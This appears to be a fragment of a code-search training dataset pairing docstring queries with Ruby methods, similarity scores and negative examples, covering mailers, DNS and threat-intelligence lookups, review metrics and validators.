} # self.note.split\r\r\n end",
"def missed_search_rankings(expires_in: 1.minute)\n return [] unless enabled?\n\n response = http.cache(expires_in).get(\"#{reportbooru_server}/missed_searches\")\n return [] if response.status != 200\n\n body = response.to_s.force_encoding(\"utf-8\")\n body.lines.map(&:split).map { [_1, _2.to_i] }\n end",
"def unfixed_ruby_and_gems_advisories_found(ruby_result, gems_result, users)\n return if (ruby_result.nil? || ruby_result.count.zero?) && (gems_result.nil? || gems_result.count.zero?)\n\n @ruby_result = ruby_result || []\n @gems_result = gems_result || []\n # TODO: Internationalize subject.\n mail(to: users, subject: \"[Redmine] Ruby/Depend gem security notification\")\n end",
"def record_result_tsbs\n @tsbs_overall_hp += @hp_damage\n @tsbs_overall_mp += @mp_damage\n @tsbs_overall_tp += @tp_damage\n @tsbs_overall_hp_drain += @hp_drain\n @tsbs_overall_mp_drain += @mp_drain\n @tsbs_critical = true if critical\n end",
"def stand_by_reservation_alert(num_of_runs_available, run_title, original_search_url, customer_email)\n @num_of_runs_available = num_of_runs_available\n @run_title = run_title\n @original_search_url = original_search_url\n @customer_email = customer_email\n mail(to: customer_email, subject: 'PawBookings stand-by reservation update')\n end",
"def revanchism_is_bad!\n warn \"Experimental code #{__method__}. Do not enable in release. #{__FILE__}:#{__LINE__}\"\n\n soft_patch_defines_lua!(\"fun_and_balance_revanchism\",\n [\"NMilitary.REVANCHISM_DEVASTATION_IMPACT\", -0.02, 0],\n )\n\n patch_mod_file!(\"common/static_modifiers/00_static_modifiers.txt\") do |node|\n node[\"recovery_motivation\"] = PropertyList[\n # that's still only half of what 20WE would do\n \"local_unrest\", 10,\n # this is fair\n \"army_tradition\", 1,\n \"navy_tradition\", 1,\n ]\n end\n end",
"def pri_tclear\n team_stats.offensive_clear_rate\n end",
"def print_reservations\n puts \"We do not share our clients info!\"\n puts \"At least for free....\"\n end",
"def calculate_metareview_metrics(review, submission, rubricqns_array)\n preprocess = TextPreprocessing.new\n feature_values = Hash.new #contains the values for each of the metareview features calculated\n preprocess = TextPreprocessing.new\n\n #fetch the review data as an array \n @review_array = review \n \n # puts \"self.responses #{self.responses}\"\n speller = FFI::Aspell::Speller.new('en_US')\n # speller.suggestion_mode = Aspell::NORMAL\n @review_array = preprocess.check_correct_spellings(@review_array, speller)\n\n #checking for plagiarism by comparing with question and responses\n plag_instance = PlagiarismChecker.new\n result_comparison = plag_instance.compare_reviews_with_questions_responses(@review_array, rubricqns_array)\n\n if(result_comparison == ALL_RESPONSES_PLAGIARISED)\n content_summative = 0\n content_problem = 0 \n content_advisory = 0\n relevance = 0\n quantity = 0\n tone_positive = 0\n tone_negative = 0\n tone_neutral = 0\n plagiarism = true\n # puts \"All responses are copied!!\"\n feature_values[\"plagiarism\"] = plagiarism\n feature_values[\"relevance\"] = relevance\n feature_values[\"content_summative\"] = content_summative\n feature_values[\"content_problem\"] = content_problem\n feature_values[\"content_advisory\"] = content_advisory\n feature_values[\"coverage\"] = coverage\n feature_values[\"tone_positive\"] = tone_positive\n feature_values[\"tone_negative\"] = tone_negative\n feature_values[\"tone_neutral\"] = tone_neutral\n feature_values[\"volume\"] = quantity\n #Even if a review is plagiarised, we are still required to find other metrics for experiment.\n #return feature_values\n elsif(result_comparison == SOME_RESPONSES_PLAGIARISED)\n plagiarism = true\n end\n\n #checking plagiarism (by comparing responses with search results from google), we look for quoted text, exact copies i.e.\n\n #enable this check later-to_do\n #\n #google_plagiarised = plag_instance.google_search_response(self)\n\n #if(google_plagiarised == true)\n # plagiarism = true\n #else\n # plagiarism = false\n #end\n\n if(@review_array.length > 0)\n\n #formatting the review responses, segmenting them at punctuations\n review_text = preprocess.segment_text(0, @review_array)\n #removing quoted text from reviews\n review_text = preprocess.remove_text_within_quotes(review_text) #review_text is an array\n puts \"review_text #{review_text}\"\n #fetching submission data as an array and segmenting them at punctuations \n submissions = submission\n subm_text = preprocess.check_correct_spellings(submissions, speller)\n subm_text = preprocess.segment_text(0, subm_text)\n subm_text = preprocess.remove_text_within_quotes(subm_text)\n puts \"subm_text #{subm_text}\"\n # #initializing the pos tagger and nlp tagger/semantic parser \n pos_tagger = EngTagger.new\n core_NLP_tagger = StanfordCoreNLP.load(:tokenize, :ssplit, :pos, :lemma, :parse, :ner, :dcoref)\n \n #--------- \n #relevance\n beginning_time = Time.now\n relev = DegreeOfRelevance.new\n relevance = relev.get_relevance(review_text, subm_text, 1, pos_tagger, core_NLP_tagger, speller) #1 indicates the number of reviews\n #assigninging the graph generated for the review to the class variable, in order to reuse it for content classification\n review_graph = relev.review\n #calculating end time\n end_time = Time.now\n relevance_time = end_time - beginning_time\n #--------- \n # checking for plagiarism\n if(plagiarism != true) #if plagiarism hasn't already been set\n beginning_time = Time.now\n result = plag_instance.check_for_plagiarism(review_text, subm_text)\n if(result == true)\n plagiarism = \"TRUE\"\n else\n plagiarism = \"FALSE\"\n end\n end_time = Time.now\n plagiarism_time = end_time - beginning_time\n puts \"************* plagiarism time taken - #{plagiarism_time}\"\n end\n #--------- \n #content\n beginning_time = Time.now\n content_instance = PredictClass.new\n pattern_files_array = [\"app/data/patterns-assess.csv\",\"app/data/patterns-prob-detect.csv\",\"app/data/patterns-suggest.csv\"]\n #predcting class - last parameter is the number of classes\n content_probs = content_instance.predict_classes(pos_tagger, core_NLP_tagger, review_text, review_graph, pattern_files_array, pattern_files_array.length)\n content = \"SUMMATIVE - #{(content_probs[0] * 10000).round.to_f/10000}, PROBLEM - #{(content_probs[1] * 10000).round.to_f/10000}, SUGGESTION - #{(content_probs[2] * 10000).round.to_f/10000}\"\n end_time = Time.now\n content_time = end_time - beginning_time\n content_summative = content_probs[0]# * 10000).round.to_f/10000\n content_problem = content_probs[1] #* 10000).round.to_f/10000\n content_advisory = content_probs[2] #* 10000).round.to_f/10000\n feature_values[\"content_summative\"] = content_summative\n feature_values[\"content_problem\"] = content_problem\n feature_values[\"content_advisory\"] = content_advisory\n return feature_values\n puts \"************* content time taken - #{content_time}\"\n# puts \"*************\"\n #--------- \n #coverage\n cover = ReviewCoverage.new\n coverage = cover.calculate_coverage(subm_text, review_text, pos_tagger, core_NLP_tagger, speller)\n# puts \"************* coverage - #{coverage}\"\n# puts \"*************\"\n #--------- \n # tone\n beginning_time = Time.now\n ton = Tone.new\n tone_array = Array.new\n tone_array = ton.identify_tone(pos_tagger, speller, core_NLP_tagger, review_text, review_graph)\n tone_positive = tone_array[0]#* 10000).round.to_f/10000\n tone_negative = tone_array[1]#* 10000).round.to_f/10000\n tone_neutral = tone_array[2]#* 10000).round.to_f/10000\n #tone = \"POSITIVE - #{(tone_array[0]* 10000).round.to_f/10000}, NEGATIVE - #{(tone_array[1]* 10000).round.to_f/10000}, NEUTRAL - #{(tone_array[2]* 10000).round.to_f/10000}\"\n end_time = Time.now\n tone_time = end_time - beginning_time\n puts \"************* tone time taken - #{tone_time}\"\n# puts \"*************\"\n # #---------\n # quantity\n beginning_time = Time.now\n quant = TextQuantity.new\n quantity = quant.number_of_unique_tokens(review_text)\n end_time = Time.now\n quantity_time = end_time - beginning_time \n puts \"************* quantity time taken - #{quantity_time}\"\n \n feature_values[\"plagiarism\"] = plagiarism\n feature_values[\"relevance\"] = relevance\n feature_values[\"content_summative\"] = content_summative\n feature_values[\"content_problem\"] = content_problem\n feature_values[\"content_advisory\"] = content_advisory\n feature_values[\"coverage\"] = coverage\n feature_values[\"tone_positive\"] = tone_positive\n feature_values[\"tone_negative\"] = tone_negative\n feature_values[\"tone_neutral\"] = tone_neutral\n feature_values[\"volume\"] = quantity\n return feature_values\n end\n end",
"def run\n super\n\n #\n # This module currently uses the Free API (rate limited / response limited)\n # https://freeapi.robtex.com/ipquery/#{search_ip}\n #\n # Note that a paid version (free up to 10k queries / month) of the API is available at:\n # https://market.mashape.com/robtex/robtex\n #\n\n # Check Robtex API & create entities from returned JSON\n search_ip = _get_entity_name\n search_uri = \"https://freeapi.robtex.com/ipquery/#{search_ip}\"\n\n begin\n details = JSON.parse(http_get_body(search_uri))\n _log \"Got details: #{details}\"\n\n #status\n # Should be \"ok\"\n unless details[\"status\"] == \"ok\"\n _log_error \"Unable to continue\"\n return\n end\n\n #act\n # Active (forward) DNS\n if details[\"act\"]\n details[\"act\"].each do |forward_lookup|\n _create_entity \"DnsRecord\",{\n \"name\" => forward_lookup[\"o\"],\n \"time\" => \"#{Time.at(forward_lookup[\"t\"])}\"\n }\n end\n end\n\n #pas\n # Passive (reverse) DNS\n if details[\"pas\"]\n details[\"pas\"].each do |reverse_lookup|\n _create_entity \"DnsRecord\",{\n \"name\" => reverse_lookup[\"o\"],\n \"time\" => \"#{Time.at(reverse_lookup[\"t\"])}\"\n }\n end\n end\n\n #pash\n # Passive DNS history\n # TODO\n\n #acth\n # Active DNS history\n # TODO\n\n #as\n # Autonomous System Number\n if details[\"as\"]\n _create_entity \"AsNumber\",{\n \"name\" => \"AS#{details[\"as\"]}\",\n \"as_name\" => details[\"asname\"],\n \"as_desc\" => details[\"asdesc\"]\n }\n end\n\n # Netblock\n #\n if details[\"bgproute\"]\n _create_entity \"NetBlock\",{\"name\" => \"#{details[\"bgproute\"]}\"}\n end\n\n rescue JSON::ParserError => e\n _log_error \"Unable to get parsable response from #{search_uri}: #{e}\"\n rescue StandardError => e\n _log_error \"Error grabbing robtex details: #{e}\"\n end\n\n\n end",
"def validate_response\n\n unless @block_data_response.success?\n notify_dev(@block_data_response.data.merge(msg: \"Error while fetching block\"))\n return error_with_data(\n 'c_rbe_2',\n 'error while fetching block',\n 'error while fetching block',\n GlobalConstant::ErrorAction.default,\n {}\n )\n end\n\n meta = @block_data_response.data[:meta]\n @transactions = @block_data_response.data[:transactions]\n\n\n if (meta[:current_block][:block_number].to_i != @current_block_number)\n notify_dev(@block_data_response.data.merge(msg: \"Urgent::Block returned is invalid\"))\n return error_with_data(\n 'c_rbe_1',\n 'invalid block returned',\n 'invalid block returned',\n GlobalConstant::ErrorAction.default,\n {}\n )\n end\n\n @current_block_hash = meta[:current_block][:block_hash]\n @block_creation_timestamp = meta[:current_block][:timestamp].to_i\n @highest_block_number = meta[:hightest_block].to_i\n\n success\n end",
"def slack_stats\n # Hardcode 1 because it's just us\n elos_s = player_elos(1).map { |x| x.join(': ') }\n\n stats = [\n {\n fields:\n [\n {\n title: 'Elo Rating',\n value: elos_s.join(\"\\n\"),\n short: true\n }\n ]\n }\n ]\n\n make_response('*Here are all the stats for your team:*', stats)\nend",
"def prepare_RLT(num_ops)\n rlt = (num_ops + 0.2) * 350#ul\n b_me = rlt.to_f/1000.0\n rlt_tab = [\n [\"# of Samples\", \"RLT (mL)\"],\n [num_ops].concat([(rlt/1000).round(2)].map { |v| { content: v, check: true } })\n ]\n show do \n title \"Preparing Lysis Buffer (RLT)\"\n separator\n if rlt > 15000\n check \"Grab a clean 50mL Falcon tube and label => <b>RLT Buffer</b>\"\n elsif rlt.between?(1500, 14900)\n check \"Grab a clean 15mL Falcon tube and label => <b>RLT Buffer</b>\"\n else\n check \"Grab a clean 1.5 Eppie tube and label => <b>RLT Buffer</b>\"\n end\n \n note \"From the RNeasy Kit, grab the RLT reagent and follow the table below:\"\n table rlt_tab\n note \"Once done, place RLT Buffer on ice until ready for use!\"\n end\n return b_me\n end",
"def jira_search\n\n @lunch_special = SlackJIRABot.new\n doc = Nokogiri::HTML(open('http://www.truetastes.com/anitas-cafe-lunch-catering/'))\n\n ####\n # Search for nodes by css\n\n if(doc)\n doc.css('div.specials_copy').each do |specials|\n @lunch_special.html_content = specials.inner_html\n @lunch_special.text_content = specials.content\n end\n end\n\n return @lunch_special\n\nend",
"def confirm_pur_number_warning()\n $tracer.trace(\"GameStopMobileDSL : #{__method__}, Line : #{__LINE__}\")\n wait_for_landing_page_load\n gsm_error_message.should_exist\n invalid_gc_msg = gsm_error_message.inner_text\n invalid_gc_msg.should match(\"Please enter a valid loyalty card number\")\n end",
"def online_rivals\n \t rivals_by_me.online + rivals_for_me.online\n \t end",
"def misses()\r\n\t\treturn @bad_guesses\r\n\tend",
"def run\n super\n\n # Get the IpAddress\n entity_name = _get_entity_name\n\n # Get talos Blacklist IP\n response = http_get_body(\"https://talosintelligence.com/documents/ip-blacklist\")\n\n if response.empty?\n _log_error(\"Got an empty response from the source URL!\")\n return\n end\n\n # Create an issue if an IP found in the Talos IP Blacklist\n if response.include? entity_name\n\n source = \"talosintelligence.com\"\n description = \"Cisco Talos Intelligence Group is one of the largest commercial threat\" +\n \" intelligence teams in the world, comprised of world-class researchers, analysts and\" +\n \" engineers. These teams are supported by unrivaled telemetry and sophisticated systems\" +\n \" to create accurate, rapid and actionable threat intelligence for Cisco customers.\"\n\n _create_linked_issue(\"suspicious_activity_detected\", {\n status: \"confirmed\",\n #description: \"This IP was found related to malicious activities in Talos Intelligence IP BlackList\",\n additional_description: description,\n source: source,\n proof: \"This IP was detected as suspicious in #{source}\",\n references: []\n })\n\n # Also store it on the entity\n blocked_list = @entity.get_detail(\"suspicious_activity_detected\") || []\n @entity.set_detail(\"suspicious_activity_detected\", blocked_list.concat([{source: source}]))\n\n end\n\n end",
"def filter_rspamd\n end",
"def critical_risks\n\t\t\t\t\twhere(:severity => 4).where(:rollup_finding => false)\n\t\t\t\tend",
"def fetch_ror_matches(name:)\n return [] unless name.present?\n\n OrgSelection::SearchService.search_externally(search_term: name).select do |hash|\n # If the natural language processing score is <= 25 OR the\n # weight is less than 1 (starts with or includes the search term)\n hash.fetch(:score, 0) <= 25 && hash.fetch(:weight, 1) < 2\n end\n end",
"def virality\n 0\n end",
"def discard_results; end",
"def dispense_b_mercap(buff_Y1_b_me, buff_rlt_b_me)\n buff = 'Beta-Mercaptoethanol'\n \n # Prepares fumehood for working with organics\n prepare_fumehood(buff)\n \n # while in fumehood also aliquot ethanol required\n get_etoh()\n \n # add b-me to both\n b_me_tab = [\n [\"Buffer(s)\", \"#{buff} (uL)\"]\n ]\n (buff_Y1_b_me != 0) ? b_me_tab.push([\"Buffer Y1\"].concat([buff_Y1_b_me].map{ |v| { content: v, check: false }})) : nil\n (buff_rlt_b_me != 0) ? b_me_tab.push( [\"RLT Buffer\"].concat( [(buff_rlt_b_me * 10)].map{ |v| { content: v, check: false }} )) : nil # 10ulB-E : 1mL RLT\n \n show do \n title \"Dispense Beta-Mercaptoethanol in Fume Hood\"\n separator\n # check \"Bring the test tube containing <b>Buffer Y1</b> and the test tube containing <b>Buffer RLT<b/> to the fume hood\"\n warning \"The next step should be done in the fumehood\"\n note \"Follow table below to and take the listed tubes to the fume hood\"\n table b_me_tab\n check \"After dispensing B-ME, clean pipettes and gloves with EtOH to prevent B-ME from leaving fume hood.\"\n check \"<b>Place both tubes on ice until later use.</b>\"\n end\n end",
"def blurb_win\n case self.type\n when 'test'\n \"Thanks for using this service.\"\n when 'left'\n\"Please contact #{self.email_from} if you have any queries regarding the analysis or the output and one of the team will respond.\n\nBest regards,\nThe LEFT development team.\"\n\n end\n end",
"def all_pass_result_summary_msg\n if result_count < 1\n \"uhh...\"\n elsif result_count == 1\n \"pass\"\n else\n \"all pass\"\n end\n end",
"def action_point_nb(input)\n input_text_array = input[:Content].split(' ')\n input_text_array = input[:Content].split('@') if input_text_array.length<2\n return build_response_text_temp {|msg|\n msg.Content = WxReplyMsg.get_msg_by_key 'wrongpwd'\n } if input_text_array.length <2\n card_info = Card.find_by_nopwd input[:FromUserName],input_text_array[0],input_text_array[1]\n #persist user request\n log_use_request {|request|\n request.lastaction = RequestAction::ACTION_JF_SEARCH_NB\n }\n return build_response_text_temp {|msg|\n msg.Content = t(:successmsgnotbindtemplate).sub('[level]',card_info[:level]).sub('[point]',card_info['point'].to_s)\n } if !card_info.nil?\n return build_response_text_temp {|msg|\n msg.Content = WxReplyMsg.get_msg_by_key 'wrongpwd'\n }\n end",
"def result_neutral() @page.find(input_elements[:result_neutral]) end"
] |
[
"0.57736164",
"0.5772527",
"0.5506065",
"0.54126227",
"0.5354543",
"0.5297236",
"0.52799034",
"0.5244843",
"0.5211339",
"0.5160886",
"0.51358545",
"0.513258",
"0.5124375",
"0.51205873",
"0.5113083",
"0.51106924",
"0.50933784",
"0.50806177",
"0.50635993",
"0.505202",
"0.50135046",
"0.500976",
"0.50025505",
"0.4998831",
"0.4994645",
"0.49929813",
"0.49881905",
"0.49817672",
"0.4980302",
"0.4975904",
"0.49711186",
"0.49649912",
"0.49452603",
"0.49376297",
"0.49351022",
"0.49345756",
"0.4932514",
"0.49203587",
"0.49110815",
"0.49099985",
"0.48986092",
"0.48958576",
"0.48940516",
"0.4887817",
"0.4887424",
"0.48866868",
"0.48776644",
"0.48734885",
"0.48718828",
"0.48692554",
"0.4867647",
"0.48615277",
"0.48610187",
"0.48569277",
"0.48566246",
"0.48525804",
"0.4847271",
"0.48447984",
"0.4842617",
"0.48426077",
"0.48416105",
"0.48283696",
"0.48278558",
"0.48184842",
"0.48170534",
"0.4816967",
"0.4816242",
"0.48098466",
"0.4804742",
"0.4803149",
"0.48029035",
"0.48011214",
"0.48011214",
"0.47962525",
"0.4791486",
"0.47826687",
"0.47824454",
"0.47789225",
"0.47696128",
"0.4767264",
"0.47645587",
"0.4763746",
"0.47621837",
"0.47604477",
"0.47582373",
"0.4752253",
"0.4751885",
"0.47492716",
"0.47422683",
"0.4740475",
"0.47374696",
"0.47362784",
"0.473114",
"0.47300786",
"0.4729373",
"0.47292826",
"0.47290197",
"0.47252885",
"0.47247392",
"0.47246662",
"0.4721205"
] |
0.0
|
-1
|
Private: checks the mapper policy against its class opts The Hash containing the policy filter data. Return: true if it fulfills the policy and false if it does not.
|
def verify_policy(opts)
result = policy.constantize.call(opts)
rescue NameError
result = true
ensure
return result
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def check_policy(hosts, facts, classes)\n if hosts and not parse_hosts(hosts)\n return false\n end\n if not classes\n return parse_compound(facts)\n else\n return parse_facts(facts) && parse_classes(classes)\n end\n end",
"def meets_restrictions?(opts={}, restriction_file=false)\n if restriction_file\n raise \"Unable to open custom restriction file\" unless File.readable?(restriction_file)\n restrictions = YAML.load_file(restriction_file) || false\n else\n # restriction values can be set to false to turn them off\n restrictions = { :username => /\\A[a-z0-9\\-_]+\\z/i, \n :password => false, \n :email => /\\w+\\d?@emich.edu\\b/,\n :real_name => /([A-z]+\\s{0,1}){1,3}/\n }\n end\n # ensure restrictions are set to match to, or raise an error\n if restrictions\n opts.keys.each do |key|\n if restrictions[key]\n unless opts[key] =~ restrictions[key]\n raise \"Failed to meet the #{key.to_s} restriction!\"\n end\n end\n end\n else\n raise \"No restrictions set to be able to match restrictions!\"\n end\n true\n end",
"def use?(opts)\n !(opts.keys & @takes).empty?\n end",
"def check_conditions(klass) #:nodoc:\n !@conditions.find do |tuple|\n if tuple[0].call(klass); false\n else\n warn tuple[1]\n true\n end\n end\n end",
"def check_capabilities(filter)\n capabilities = ddl.discovery_interface[:capabilities]\n\n unless capabilities.include?(:classes)\n raise \"Cannot use class filters while using the '%s' discovery method\" % discovery_method unless filter[\"cf_class\"].empty?\n end\n\n unless capabilities.include?(:facts)\n raise \"Cannot use fact filters while using the '%s' discovery method\" % discovery_method unless filter[\"fact\"].empty?\n end\n\n unless capabilities.include?(:identity)\n raise \"Cannot use identity filters while using the '%s' discovery method\" % discovery_method unless filter[\"identity\"].empty?\n end\n\n unless capabilities.include?(:compound)\n raise \"Cannot use compound filters while using the '%s' discovery method\" % discovery_method unless filter[\"compound\"].empty?\n end\n end",
"def hasPolicy?(_class, log_level)\n\t\tkey = _class.to_s\n\t\tvalue = false\n\n\t\tif @logger_policies.has_key?(key) == true &&\n\t\t\t@logger_policies[key] & log_level > 0\n\t\t\tvalue = true\n\t\tend\n\n\t\treturn value\n\tend",
"def could_ever?( operation, klass )\n klass = klass.name if klass.is_a?( Class )\n klass_perms = perms_for_class(klass)\n return !klass_perms.nil? &&\n (!klass_perms[operation].nil? || !klass_perms[:any].nil?)\n end",
"def allows?(hash={})\n apply(hash)[0]\n end",
"def run_policies(operator, label, opts)\n key = opts.dup # ignore the cache option in the key\n key.delete(:cache)\n key = key.to_a\n\n args = opts[:target].nil? ? [label] : [label, opts[:target]] # work out which policies to grab\n policies = Merb::Authorization.policies_from_label(*args)\n \n # If we're allowed to cache, and the item has already been run, return that\n if use_cache?(opts)\n already_run = check_cache(policies, key)\n return true if already_run == true\n policies = policies - already_run\n end\n \n # Runnem\n result = false\n policies.each do |policy|\n result = run_policy(operator, policy, use_cache?(opts), key, opts)\n break if result\n end\n result\n end",
"def policy1(*_)\n return true\nend",
"def allow_case_policies(case_or_class, *policy_names)\n policy_class = Pundit::PolicyFinder.new(case_or_class).policy!\n policy_names.each do |policy_name|\n allow_any_instance_of(policy_class).to receive(policy_name) # rubocop:disable RSpec/AnyInstance\n .and_return(true)\n end\nend",
"def positives_check(tp)\n return true if cond.positives == {}\n cond.positives.any? do |method_key, value|\n if method_key.to_sym == :defined_class\n tp.send(method_key).name =~ Regexp.new(value)\n else\n tp.send(method_key).to_s =~ Regexp.new(value)\n end\n end\n end",
"def class_info(opts)\n opts = check_params(opts,[:filter])\n super(opts)\n end",
"def check *params\n opt = parse_params_for_check params\n @adapter.check opt, true\n end",
"def add_capabilities!(opts, klass, item = nil)\n raise ArgumentError, 'klass must be a class' unless klass.is_a?(Class)\n raise ArgumentError, 'opts must be a hash' unless opts.is_a?(Hash)\n\n filter_settings = klass&.try(:filter_settings)\n\n # check we can get filter settings and that capabilities are defined for this class\n unless filter_settings in {capabilities: Hash}\n opts[:capabilities] = nil\n return\n end\n\n capabilities = filter_settings[:capabilities]\n\n opts[:capabilities] = capabilities.transform_values { |capability|\n evaluate_capability(item, klass, capability)\n }\n end",
"def is_a_checkable_class?(v)\n v.has_key?(:check) &&\n (v[:check].is_a?(Proc) || (param_checker?(v[:check])))\n end",
"def access_allowed?(opts={})\n opts[:controller] ||= params[:controller]\n opts[:action] ||= params[:action]\n current_user.rights.any? { |r| r.allowed?(opts.slice(:controller, :action)) }\n end",
"def matches?(opts = {})\n return true if (opts.nil? or opts.empty?)\n opts.each_pair do |name, value|\n return false unless self.has_attribute?(name)\n case value\n when Regexp\n return false unless value =~ self[name]\n else\n return false unless value.to_s == self[name]\n end\n end\n true\n end",
"def check_simple(opts)\n Msf::Simple::Auxiliary.check_simple(self, opts)\n end",
"def can?(klass, *actions)\n actions.each do |action|\n if permissions.find_by(model: klass.to_s, action: action).present?\n return true\n end\n end\n false\n end",
"def pokemon_matching_requirements?(pkmn, wanted_data)\n return pkmn.id == wanted_data[0] && pkmn.level >= wanted_data[1] &&\n pkmn.level <= wanted_data[2] && (wanted_data[3] == 0 || pkmn.gender == wanted_data[3])\n end",
"def check_filters(options,key)\n # if there is a blacklist, make sure the key does not match any of the entries.\n # if there is a whitelist, make sure the key matches at least one of those entries.\n #\n # Hiera.debug(\"Check_filters: #{options.inspect} #{key.inspect}\")\n return if options.nil?\n return unless options.is_a?(Hash)\n if options.has_key?(:blacklist) and options[:blacklist].is_a?(Array) and options[:blacklist].size >0\n options[:blacklist].each do |bl|\n if Regexp.new(bl) =~ key\n Hiera.debug(\"blacklist reject, found #{key} in #{options[:blacklist].inspect}\")\n throw :no_such_key\n end\n end\n end\n if options.has_key?(:whitelist) and options[:whitelist].is_a?(Array) and options[:whitelist].size >0 \n options[:whitelist].each do |wl| \n return if Regexp.new(wl) =~ key\n end\n Hiera.debug(\"whitelist reject, not found #{key} in #{options[:whitelist].inspect}\")\n throw :no_such_key\n end\n end",
"def access_allowed?(opts={})\n if opts.is_a?(String)\n controller, action = opts.split('#')\n opts = {:controller => controller, :action => action}\n end\n opts[:controller] ||= params[:controller]\n opts[:action] ||= params[:action]\n current_user.rights.any? { |r| r.allowed?(opts.slice(:controller, :action)) }\n end",
"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"iam.EndPointPrivilege\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"iam.EndPointPrivilege\"])\n return false unless object_type_validator.valid?(@object_type)\n type_validator = EnumAttributeValidator.new('String', [\"\", \"APIC\", \"DCNM\", \"UCSFI\", \"UCSFIISM\", \"IMC\", \"IMCM4\", \"IMCM5\", \"IMCRack\", \"UCSIOM\", \"HX\", \"HyperFlexAP\", \"IWE\", \"UCSD\", \"IntersightAppliance\", \"IntersightAssist\", \"PureStorageFlashArray\", \"UCSC890\", \"NetAppOntap\", \"NetAppActiveIqUnifiedManager\", \"EmcScaleIo\", \"EmcVmax\", \"EmcVplex\", \"EmcXtremIo\", \"VmwareVcenter\", \"MicrosoftHyperV\", \"AppDynamics\", \"Dynatrace\", \"NewRelic\", \"ServiceNow\", \"ReadHatOpenStack\", \"CloudFoundry\", \"MicrosoftAzureApplicationInsights\", \"OpenStack\", \"MicrosoftSqlServer\", \"Kubernetes\", \"AmazonWebService\", \"AmazonWebServiceBilling\", \"MicrosoftAzureServicePrincipal\", \"MicrosoftAzureEnterpriseAgreement\", \"DellCompellent\", \"HPE3Par\", \"RedHatEnterpriseVirtualization\", \"NutanixAcropolis\", \"HPEOneView\", \"ServiceEngine\", \"HitachiVirtualStoragePlatform\", \"IMCBlade\", \"TerraformCloud\", \"TerraformAgent\", \"CustomTarget\", \"AnsibleEndpoint\", \"HTTPEndpoint\", \"SSHEndpoint\", \"CiscoCatalyst\"])\n return false unless type_validator.valid?(@type)\n true\n end",
"def valid?(opts = OPTS)\n _before_validation\n begin\n _valid?(opts)\n rescue HookFailed\n false\n end\n end",
"def valid?(opts = OPTS)\n begin\n _valid?(opts)\n rescue HookFailed\n false\n end\n end",
"def check_policies(options = {})\n wss_client = WssAgent::Client.new\n result = wss_client.check_policies(\n WssAgent::Specifications.list(options),\n options\n )\n if result.success?\n WssAgent.logger.debug result.data\n puts result.message\n else\n WssAgent.logger.debug \"check policies errors occur: #{result.status}, message: #{result.message}, data: #{result.data}\"\n ap \"error: #{result.status}/#{result.data}\", color: { string: :red }\n end\n\n result\n end",
"def valid?(map)\n return true if whitelisted_value?(map)\n\n map.is_a?(Hash) && map.values.all? { |value| subprop.valid?(value) }\n end",
"def valid?\n filter_group_list = @user_key.whitelists.restrict_to(@resource).to_a.map{|w| w.filters.to_a}\n # If the key has no whitelists at all, the key has no access through normal filters.\n # (If the key has no columns, the key has no access at all, but we check for that in EndpointResponse.)\n # Map the filters for each individual whitelist into a list to be checked.\n return true if filter_group_list.any? { |fg| matches_options? fg }\n\n # No filters were matched, so check for organizations instead.\n return has_valid_organization_id?\n end",
"def matches_requirement?(query, option, requirement); end",
"def check?(*args, **hargs) = allowed_to?(*args, **hargs)",
"def valid?(map)\n whitelisted_value?(map) || (map.is_a?(Hash) && map.values.all? { |value| subprop.valid?(value) })\n end",
"def check_mode(opts)\n cloud_source_args = %i[source host user password]\n on_premise_source_args = %i[source receptor_controller_scheme receptor_controller_host receptor_controller_port receptor_node]\n if opts[:config].nil?\n to_check = opts[:receptor_node].present? ? on_premise_source_args : cloud_source_args\n to_check.each do |arg|\n Optimist.die arg, \"can't be nil\" if opts[arg].nil?\n Optimist.die arg, \"can't be zero\" if arg.to_s.index('port').present? && opts[arg].zero?\n end\n else\n Optimist.die :config, \"not applicable in single-source mode\" if cloud_source_args.any? { |arg| opts[arg].present? }\n end\nend",
"def arguments_valid?\n return false if (@options[:partition_class] and @options[:rmcls])\n\n if @options[:rmcls]\n return false unless (@options[:cls_file] and @options[:lrn_file])\n elsif @options[:partition_class]\n return false unless (@options[:cls_file] and @options[:name_file] and @options[:fasta_file])\n end\n true\n end",
"def validate_params(params, klass)\n raise(ArgumentError, \"Options cannot be \" + params.class.name) unless params.is_a?(klass) || params.is_a?(Hash) || \n (ASSOCIATED_PARAMS[klass] && ASSOCIATED_PARAMS[klass].keys.include?(params.class))\n params.is_a?(Glassfrog::Base) ? params.hashify : params\n end",
"def valid?\n return false if @class_id.nil?\n class_id_validator = EnumAttributeValidator.new('String', [\"kubernetes.SysConfigPolicy\"])\n return false unless class_id_validator.valid?(@class_id)\n return false if @object_type.nil?\n object_type_validator = EnumAttributeValidator.new('String', [\"kubernetes.SysConfigPolicy\"])\n return false unless object_type_validator.valid?(@object_type)\n return false if !@dns_domain_name.nil? && @dns_domain_name.to_s.length > 253\n return false if !@dns_domain_name.nil? && @dns_domain_name.to_s.length < 0\n return false if !@dns_domain_name.nil? && @dns_domain_name !~ Regexp.new(/^$|^([a-zA-Z0-9]([a-zA-Z0-9\\-]{0,61}[a-zA-Z0-9])?\\.)+[a-zA-Z]{2,63}$/)\n return false if !@dns_servers.nil? && @dns_servers.length > 3\n return false if !@dns_servers.nil? && @dns_servers.length < 1\n return false if !@ntp_servers.nil? && @ntp_servers.length > 3\n return false if !@ntp_servers.nil? && @ntp_servers.length < 0\n timezone_validator = EnumAttributeValidator.new('String', [\"Pacific/Niue\", \"Pacific/Pago_Pago\", \"Pacific/Honolulu\", \"Pacific/Rarotonga\", \"Pacific/Tahiti\", \"Pacific/Marquesas\", \"America/Anchorage\", \"Pacific/Gambier\", \"America/Los_Angeles\", \"America/Tijuana\", \"America/Vancouver\", \"America/Whitehorse\", \"Pacific/Pitcairn\", \"America/Dawson_Creek\", \"America/Denver\", \"America/Edmonton\", \"America/Hermosillo\", \"America/Mazatlan\", \"America/Phoenix\", \"America/Yellowknife\", \"America/Belize\", \"America/Chicago\", \"America/Costa_Rica\", \"America/El_Salvador\", \"America/Guatemala\", \"America/Managua\", \"America/Mexico_City\", \"America/Regina\", \"America/Tegucigalpa\", \"America/Winnipeg\", \"Pacific/Galapagos\", \"America/Bogota\", \"America/Cancun\", \"America/Cayman\", 